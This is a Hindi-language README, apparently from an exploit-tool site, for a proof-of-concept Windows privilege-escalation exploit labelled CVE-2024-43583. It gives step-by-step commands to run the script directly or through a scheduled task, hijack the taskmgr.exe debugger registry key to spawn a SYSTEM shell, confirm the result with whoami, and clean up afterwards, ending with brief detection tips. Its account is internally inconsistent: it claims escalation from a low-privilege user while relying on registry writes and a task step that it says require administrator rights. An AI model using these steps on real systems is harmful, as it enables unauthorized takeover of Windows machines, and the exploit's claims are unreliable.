CVE-2024-43583 - Windows विशेषाधिकार वृद्धि शोषण

लेखक: No0B@ckSappi3 Instagram: No0BackSappi3

अवलोकन

CVE-2024-43583 एक विशेषाधिकार उन्नयन कमजोरी है जो Microsoft के Winlogon घटक को प्रभावित करती है। इस दोष का शोषण करने से निम्न-विशेषाधिकार वाला उपयोगकर्ता अपने विशेषाधिकारों को SYSTEM तक बढ़ा सकता है, जिससे पूर्ण सिस्टम से समझौता हो जाता है।

यह प्रूफ-ऑफ-कॉन्सेप्ट (PoC) Windows इमेज फ़ाइल निष्पादन विकल्प (IFEO) रजिस्ट्री कुंजी के माध्यम से डिबगर हाइजैकिंग का लाभ उठाता है ताकि एक वैध सिस्टम प्रक्रिया को दुर्भावनापूर्ण पेलोड से बदला जा सके।

प्रभावित Windows संस्करण

प्रभावित Windows संस्करण

• Windows 10 (1507 - 22H2)
• Windows 11 (21H2 - 24H2)
• Windows Server 2008 SP2 - 2022

⚠️ अस्वीकरण

यह शोषण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसे अनधिकृत सिस्टम पर उपयोग न करें। इस शोषण का दुरुपयोग अवैध हो सकता है।

शोषण उपयोग

सेटअप

सुनिश्चित करें कि लक्ष्य सिस्टम पर Python स्थापित है। यदि नहीं, तो संकलित .exe संस्करण का उपयोग करें।

शोषण चलाएं

विकल्प 1: निम्न-विशेषाधिकार वाले उपयोगकर्ता से सीधे चलाएं

python poc-43583.py

विकल्प 2: कार्य अनुसूचक के माध्यम से चलाएं

1. अनुसूचित कार्य बनाएं: (व्यवस्थापक के रूप में चलाएं)
   root@kitploit:~

   schtasks /create /tn "LowPrivExploit" /tr "C:\Path\To\python.exe C:\Path\To\poc-43583.py" /sc once /st 00:00 /ru lowpriv /f
   

2. कार्य चलाएं:
   root@kitploit:~

   schtasks /run /tn "LowPrivExploit"
   

3. शोषण ट्रिगर करें: टास्क मैनेजर खोलें (Ctrl + Shift + Esc). सफल होने पर, इसके बजाय एक SYSTEM शेल दिखाई देगा।

विशेषाधिकार वृद्धि सत्यापित करें

एक बार शोषण चलने पर, अपने विशेषाधिकार जांचें:

whoami

अपेक्षित आउटपुट:

nt authority\system

🛠️ सफाई

विधि 1: डिफ़ॉल्ट पुनर्स्थापित करने के लिए PoC का उपयोग करें

स्क्रिप्ट को पुनः चलाएं और हाइजैक को हटाने के लिए विकल्प [2] चुनें।

विधि 2: मैन्युअल रूप से रजिस्ट्री कुंजी हटाएं

1. व्यवस्थापक कमांड प्रॉम्प्ट खोलें।
2. चलाएं:
   root@kitploit:~

   reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
   

3. अनुसूचित कार्य हटाएं (यदि उपयोग किया गया हो):
   root@kitploit:~

   schtasks /delete /tn "LowPrivExploit" /f
   

पहचान और शमन

• अप्रत्याशित डिबगर कुंजियों की जांच करें:
  root@kitploit:~

  reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
  

• रजिस्ट्री संशोधनों को रोकने के लिए Windows Defender Tamper Protection सक्षम करें।
• अनधिकृत रजिस्ट्री परिवर्तनों का पता लगाने के लिए EDR/SIEM समाधान का उपयोग करें।

📝 संदर्भ

• Microsoft सुरक्षा सलाह
• शोषण विकास गाइड